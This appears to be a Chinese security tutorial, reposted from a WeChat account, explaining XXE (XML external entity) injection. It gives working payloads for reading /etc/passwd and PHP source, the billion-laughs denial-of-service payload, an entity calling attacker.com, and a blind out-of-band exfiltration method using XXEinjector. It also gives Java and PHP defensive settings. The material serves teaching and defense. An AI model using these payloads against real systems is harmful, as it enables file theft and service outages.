一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
现在越来越多主要的web程序被发现和报告存在XXE(XML External Entity attack)漏洞,比如说facebook、paypal等等。
举个例子,我们扫一眼这些网站最近奖励的漏洞,充分证实了前面的说法。尽管XXE漏洞已经存在了很多年,但是它从来没有获得它应得的关注度。
很多XML的解析器默认是含有XXE漏洞的,这意味着开发人员有责任确保这些程序不受此漏洞的影响。
本文主要讨论什么是XML外部实体,这些外部实体是如何被攻击的。
如果你了解XML,你可以把XML理解为一个用来定义数据的东东。因此,两个采用不同技术的系统可以通过XML进行通信和交换数据。
比如,下图就是一个用来描述一个职工的XML文档样本,其中的’name’,'salary’,'address’ 被称为XML的元素。
有些XML文档包含system标识符定义的“实体”,这些XML文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。
关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取。因此,XML实体被使用的次数越多,越有帮助。
有了XML实体,关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)。比如,下面的代码将获取系统上folder/file的内容并呈献给用户。
最直接的回答就是: 甄别那些接受XML作为输入内容的端点。 但是有时候,这些端点可能并不是那么明显(比如,一些仅使用JSON去访问服务的客户端)。
在这种情况下,渗透测试人员就必须尝试不同的测试方式,比如修改HTTP的请求方法,修改Content-Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
出于演示的目的,我们将用到一个Acunetix维护的demo站点,这个站点就是: http://testhtml5.vulnweb.com/。这个站点可用于测试Acunetix web扫描器的功能。
访问 http://testhtml5.vulnweb.com/ 站点,点击 ‘Login’下面的 ‘Forgot Password’ 链接。
注意观察应用程序怎样使用XML传输数据,过程如下图所示:
请求:
响应:
观察上面的请求与响应,我们可以看到,应用程序正在解析XML内容,接受特定的输入,然后将其呈现给用户。为了测试验证XML解析器确实正在解析和执行我们自定义的XML内容,我们发送如下的请求
修改后的请求和响应:
如上图所示,我们在上面的请求中定义了一个名为myentity、值为’testing’的实体。 响应报文清晰地展示了解析器已经解析了我们发送的XML实体,然后并将实体内容呈现出来了。 由此,我们可以确认,这个应用程序存在XXE漏洞。
Code 1:
1. To read files on same server:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY myentity SYSTEM "file:///location/anyfile" >]>
<abc>&myentity;</abc>
2. To crash the server / Cause denial of service:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
上面样例代码1中的XXE漏洞攻击就是著名的’billion laughs’(https://en.wikipedia.org/wiki/Billion_laughs)攻击,该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”Ha!”字符串,从而导致 DDoS 攻击。
原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。
除了这些,攻击者还可以读取服务器上的敏感数据,还能通过端口扫描,获取后端系统的开放端口。
此漏洞非常危险, 因为此漏洞会造成服务器上敏感数据的泄露,和潜在的服务器拒绝服务攻击。
上面讨论的主要问题就是XML解析器解析了用户发送的不可信数据。然而,要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。
因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
比如下面的Java代码,通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。
以下是代码的第二段:
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException; // catching unsupported features
...
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
try {
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities
String FEATURE = "http://xml.org/sax/features/external-general-entities";
dbf.setFeature(FEATURE, false);
// Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities
// Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities
FEATURE = "http://xml.org/sax/features/external-parameter-entities";
dbf.setFeature(FEATURE, false);
// Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
// remaining parser logic
...
catch (ParserConfigurationException e) {
// This should catch a failed setFeature feature
logger.info("ParserConfigurationException was thrown. The feature '" +
FEATURE +
"' is probably not supported by your XML processor.");
...
}
catch (SAXException e) {
// On Apache, this should be thrown when disallowing DOCTYPE
logger.warning("A DOCTYPE was passed into the XML document");
...
}
catch (IOException e) {
// XXE that points to a file that doesn't exist
logger.error("IOException occurred, XXE may still possible: " + e.getMessage());.. }
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击。漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题。在XML1.0标准⾥里,XML文档结构⾥里定义了实体(entity)这个概念。实体可以通过预定义在文档中调用,实体的标识符可访问本地或远程内容。如果在这个过程中引入了”污染”源,在对XML文档处理后则可能导致信息泄漏等安全问题。
一、 威胁
XXE漏洞目前还未受到广泛关注,Wooyun上几个XXE引起的安全问题:
pull-in任意文件遍历/下载
从开源中国的某XXE漏洞到主站shell
百度某功能XML实体注入
百度某功能XML实体注入(二)
借助XXE,攻击者可以实现任意文件读取,DOS拒绝服务攻击以及代理扫描内网等。
对于不同XML解析器,对外部实体有不同处理规则,在PHP中默认处理的函数为:xml_parse和simplexml_load xml_parse的实现方式为expat库,默认情况不会解析外部实体,而simplexml_load默认情况下会解析外部实体,造成安全威胁。除PHP外,在Java,Python等处理xml的组件及函数中都可能存在此问题。
二、 语法
要写Payload,首先要对XML实体语法有一定了解
XML中entity的定义语法为:
1 |
<!DOCTYPE filename |
2 |
[ |
3 |
<!ENTITY entity-name "entity-content" |
4 |
]> |
如果要引用一个外部资源,可以借助各种协议 几个例子:
1 |
file:///path/to/file.ext |
2 |
3 |
http://url/file.ext |
4 |
5 |
php://filter/read=convert.base64-encode/resource=conf.php |
故构造几种简单的Payload模型如下:
1 |
<? xml version = "1.0" encoding = "utf-8" ?> |
2 |
<!DOCTYPE xdsec [ |
3 |
<!ELEMENT methodname ANY > |
4 |
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> |
5 |
< methodcall > |
6 |
< methodname >&xxe;</ methodname > |
7 |
</ methodcall > |
亦可读取网站内容
1 |
<? xml version = "1.0" encoding = "utf-8" ?> |
2 |
<!DOCTYPE xdsec [ |
3 |
<!ELEMENT methodname ANY > |
4 |
<!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]> |
5 |
< methodcall > |
6 |
< methodname >&xxe;</ methodname > |
7 |
</ methodcall > |
如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符,可以使用Base64编码绕过,如:
1 |
<? xml version = "1.0" encoding = "utf-8" ?> |
2 |
<!DOCTYPE xdsec [ |
3 |
<!ELEMENT methodname ANY > |
4 |
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> |
5 |
< methodcall > |
6 |
< methodname >&xxe;</ methodname > |
7 |
</ methodcall > |
三、 攻击
借助XXE,有几种可用且公开的攻击方式:
拒绝服务
POC
01 |
<? xml version = "1.0" ?> |
02 |
<!DOCTYPE lolz [ |
03 |
<!ENTITY lol "lol"> |
04 |
<!ELEMENT lolz (#PCDATA)> |
05 |
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> |
06 |
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> |
07 |
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> |
08 |
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> |
09 |
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> |
10 |
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> |
11 |
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> |
12 |
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> |
13 |
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> |
14 |
< lolz >&lol9;</ lolz > |
POC中中先定义了lol实体,值为”lol”的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个”lol”字符串此时解析数据时未做特别处理,即可能造成拒绝服务攻击。
此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现。
内网信息
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息。
文件读取
最常规也是最有效的利用思路
1 |
<? xml version = "1.0" encoding = "utf-8" ?> |
2 |
<!DOCTYPE xdsec [ |
3 |
<!ELEMENT methodname ANY > |
4 |
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> |
5 |
< methodcall > |
6 |
< methodname >&xxe;</ methodname > |
7 |
|
四、 防御
1、检查所使用的底层xml解析库,默认禁止外部实体的解析
2、使用第三方应用代码及时升级补丁
3、同时增强对系统的监控,防止此问题被人利用
对于PHP,由于simplexml_load_string函数的XML解析问题出在libxml库上,所以加载实体前可以调用这样一个函数。
01 |
<?php |
02 |
libxml_disable_entity_loader(true); |
03 |
?> |
04 |
以进行防护,对于XMLReader和DOM方式解析,可以参考如下代码: |
05 |
<?php |
06 |
// with the XMLReader functionality: |
07 |
$doc = XMLReader::xml( $badXml , 'UTF-8' ,LIBXML_NONET); |
08 |
// with the DOM functionality: |
09 |
$dom = new DOMDocument(); |
10 |
$dom ->loadXML( $badXml ,LIBXML_DTDLOAD|LIBXML_DTDATTR); |
11 |
?>> |
XXE (XML External Entity Injection) 漏洞发生在应用程序解析 XML 输入时,没有禁止外部实体的加载。
那什么是 实体(Entities) 和 外部实体(Externally Entities)呢?
简单的理解,一个实体就是一个变量,可以在文档中的其他位置引用该变量。
实体主要分为四种:
内置实体(Built-in entities)
字符实体(Character entities)
通用实体(General entities)
参数实体(Parameter entities)
首先实体的声明必须在 DTD 文件 或 <!DOCTYPE> 中,如:
中的
其中参数实体的引用是 是以 %name; 的格式来引用,其他实体则是 &name; 的格式,name 为实体名
只有在 DTD 文件中, 参数实体的声明才能够引用其他实体。
参数实体只能在 DTD 文件中被引用,其他实体在 XML 文档内引用。
内置实体为预留的实体,如:
字符实体 与 html 的实体编码类似,有十进制(a)和十六进制(a)
此外,根据实体声明的方式不同,还分为内部实体和外部实体
因为 XXE 利用的是外部实体 这里主要说一下外部实体:
声明语法 / 例子 / 实体引用
这里的 URI/URL 可以是 http链接, file://本地文件引用 等,因此可以加载http指向的资源 和 本地文件。
在 XXE 攻击没有回显的情况下,可以利用参数实体来获取回显数据。
对于 XXE 的危害,主要有:
窃取敏感数据(extracting sensitive data)
远程代码执行(remote code execution)
对于 RCE 来说,需要安装并加载 PHP expect module, 比较少见
这里按照 Attacking XML with XML External Entity Injection (XXE) 的教程在 kali 2 下进行测试
Victim IP: 192.168.1.28
Attacker IP: 192.168.1.17
存在xxe漏洞的php代码如下,加了一些注释
代码:XXE-PHP
在 /var/www/html 下创建 xmlinject.php 文件,启动apache
测试
响应
使用外部实体来加载本地文件
这里声明了一个外部实体 xxe,值为 file:///etc/passwd,即本地 /etc/passwd 文件的内容
然后在元素 user 内引用了该实体 &xxe;
请求响应
命令执行因为默认都没有装 expect module, 就不进行测试了
在之前的例子中,结果被作为响应的一部分被返回了,但如果遇到没有回显的情况,就需要使用其他办法。
因为无法直接将要读取的文件内容发送到服务器,所以需要通过变量的方式,先把要读取的文件内容保存到变量中,然后通过 URL 引用外部实体的方式,在 URL 中引用该变量,让文件内容成为 URL 的一部分(如查询参数),然后通过查看访问日志的方式来获取数据。
前面提到只有在 DTD 文件中声明 参数实体 时才可以引用其他参数实体,如
other.dtd 文件内容为:
参数实体 name 引用了 参数实体 param1 和 param2,最后的值为 Hello,World
根据上面的分析,给出方法:
请求payload
外部 DTD 文件 http://192.168.1.17:80/file.dtd 内容:
因为实体的值中不能有 %, 所以将其转成html实体编码 ` %`
首先 %remote; 加载 外部 DTD 文件,得到:
接着 %int; 获取对应实体的值,因为值中包含实体引用 %file;, 即 /etc/hosts 文件的内容,得到:
最后 %send; 获取对应实体的值,会去请求对应 URL 的资源,通过查看访问日志即可得到文件内容,当然这里还需要对内容进行编码,防止XML解析出错.
这里使用 XXEinjector 来进行无回显自动化获取文件。
首先修改之前的代码,去掉回显
下载 XXEinjector
使用 burp 获取原始正常的请求
xml.txt 内容
burp中获取到的请求信息
在需要注入 DTD 的地方加入 XXEINJECT,然后保存到 phprequest.txt,XXEinjector 需要根据原始请求来进行获取文件内容的操作
运行 XXEinjector
参数说明:
host:用于反向连接的 IP
path:要读取的文件或目录
file:原始有效的请求信息,可以使用 XXEINJECT 来指出 DTD 要注入的位置
proxy:代理服务器,这里使用burp,方便查看发起的请求和响应
oob:使用的协议,支持 http/ftp/gopher,这里使用http
phpfilter:使用 PHP filter 对要读取的内容进行 base64 编码,解决传输文件内容时的编码问题
运行后会输出 payload 和 引用的 DTD 文件
payload为
DTD文件为
成功获取到文件
在 kali 下拿 /etc/passwd 测试时,无法获取到,文件大小为 2.9K,base64后的长度为 3924 个字符
报错为:
减少文件大小后,可以获取到,推测应该是 外部实体中的 URI 有长度限制导致无法获取到。
微信公众号:计算机与网络安全
ID:Computer-network
【推荐书籍】
此内容因违规,暂无法查看